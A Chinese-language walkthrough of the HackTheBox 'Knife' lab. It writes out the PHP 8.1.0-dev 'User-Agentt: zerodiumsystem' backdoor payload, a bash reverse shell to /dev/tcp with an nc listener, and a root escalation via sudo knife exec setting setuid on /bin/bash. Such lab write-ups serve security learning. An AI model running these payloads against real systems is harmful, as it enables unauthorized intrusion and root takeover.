HackTheBox-Knife靶场实战

VSole2021-09-24 09:07:11

首先连接openvpn实现访问到靶机

ping一下靶机地址测试网络连通

nmap来扫描服务器开了什么端口

从这里可以看出靶机开了22和80端口,随手试了几个ssh的弱口令没啥用,只能从80端口入手了,先访问网站

首页没发现可以利用的地方,再用dirsearch扫一波目录

扫描出来的目录访问之后没啥作用,我们来识别一波CMS用kali的whatweb来识别一波

这里看到了X-Powered-By[PHP/8.1.0-dev]不同寻常百度之后果然有问题,X-Powered-By是响应头里面的内容会泄露php的版本信息,而PHP/8.1.0-dev这个版本的php会有一个后门

漏洞描述

PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。

这边我们直接抓包并发送到重发器试试命令执行的结果

User-Agentt: zerodiumsystem("ifconfig");


现在就好办了直接反弹shell,本机vpn的ip

bash -c 'exec bash -i &>/dev/tcp/10.10.14.3/4444 <&1'

而我们在本机用执行nc监听端口

nc -nvlp 4444

得到反弹的shell,权限并不高,而且nc的shell不好用,所以用python来得到一个更好用的shell,好多语言都可以调用shell,你现在linux系统基本自带python所以python更加方便

python -c 'import pty; pty.spawn("/bin/bash")'

which python可以查看有没有python语言环境,这里有python3环境

我们执行语句获取shell

此用户权限较低,我们来提权

sudo -l     可以知道我们了不用root密码来执行某些文件

这边可以无密执行/usr/bin/knife文件,查看文件发现是ruby脚本的文件

搜索了一下这个文件是一个ruby的包运行之后提示需要传递一个子命令

这边是个setuid的提权,我找的了一个大佬的解释:

setuid

setuid是类unix系统提供的一个标志位, 其实际意义是set一个process的euid为这个可执行文件或程序的拥有者(比如root)的uid, 也就是说当setuid位被设置之后, 当文件或程序(统称为executable)被执行时, 操作系统会赋予文件所有者的权限, 因为其euid是文件所有者的uid

举个例子

setuid的方法是使用Linux的chmod指令,我们都习惯给予一个文件类似“0750” “0644” 之类的权限,它们的最高位0就是setuid的位置, 我们可以通过将其设为4来设置setuid位。(tips:设置为2为setgid,同setuid类似,即赋予文件所在组的权限)。

chmod 4750 文件名orchmod u+s 文件名

在这个命令执行之后, 我们再通过ls -l命令查看文件时, 可以发现文件owner权限的x 位变成了s ,这就说明setuid权限已经被设置, 之后任何user执行这个文件时(user需要有文件的执行权限), 都会以root的权限运行(此文件的owner为root)。所以,针对一个需要被很多user以root权限执行的文件, 我们可以通过setuid来进行操作, 这样就不必为所有user都添加sudo 命令。

tips

在使用setuid时, 需要保证此文件有被执行的权限(x), 如果没有执行权限。在使用ls -l查看权限时, 会发现setuid位被设置为了大写的S, 这说明setuid位没有被设置成功。

原文链接:

https://blog.csdn.net/weixin_44575881/article/details/86552016

这边继续来提权,ruby执行命令方法exec,system,和%x。我们写一个赋予/bin/bash setuid的脚本

echo “system(‘chmod +s /bin/bash’)” > j.rb

我们james用户具有执行knife的权限并且是以root权限运行,所以写一个脚本来给/bin/bash/赋予setuid位

sudo /usr/bin/knife exec j.rb   通过knife执行我们写的脚本


sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具

/bin/bash -p

–posix 这个指令是需要用到root权限的,由于设置了setuid所以实现了提权

这样就可以拿到两个flag了

最后提交拿到胜利!!

rootlinux文件权限
本作品采用《CC 协议》,转载必须注明作者和本文链接
linux文件权限
2021-09-18 06:40:06
Linux文件权限是和 用户与用户组 密切相关的一个概念,对于一个文件来说,用户可以分为三类。
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
Linux是目前应用最广泛的服务器操作系统,基于Unix,开源免费,由于系统的稳定性和安全性,市场占有率很高,几乎成为程序代码运行的最佳系统环境。linux不仅可以长时间的运行我们编写的程序代码,还可以安装在各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行在linux系统上的。
本文章盘点了 Linux 运维必备 150 个命令,请配合下面的网站使用。定位你需要使用的命令,然后去这个网站查询详细用法即可。 地址:wangchujiang.com/linux-command/
以下结果以CentOS 7 为例,按照等保2.0标准,2021报告模板,三级系统要求进行测评。 一、身份鉴别 a)应对登录的用户进行身份标识和鉴别,身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更换。 输入 more /etc/shadow,得知系统所有用户,此语句字段格式有九段。 第一字段:用户名(也被称为登录名),在/etc/shadow中,用户名和/etc/passwd 是相同的,
等保2.0 Linux主机测评
2021-09-30 06:20:40
以下结果以CentOS 7 为例,按照等保2.0标准,2021报告模板,三级系统要求进行测评。应对登录的用户进行身份标识和鉴别,身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更换。
本次案例以CentOS 7 为例,按照等保2.0标准,2021报告模板,三级系统要求进行测评。
注意在整个过程中,客户不要事先征集到现场或现场的人员操作情况。启动或部署监测设备,针对病毒感染进行全面监测,避免死灰复燃。在此过程中并没有展开分析,随后制作收集所有相关的样本日志等,并寻找感染源头,并制定整改。先找出急用的木马文件,不要于打包一份。
应急响应的基本流程
2022-01-01 08:34:07
注意在整个过程中不要被客户或现场的运维人员误导。操作前需先征得客户许可。
VSole
网络安全专家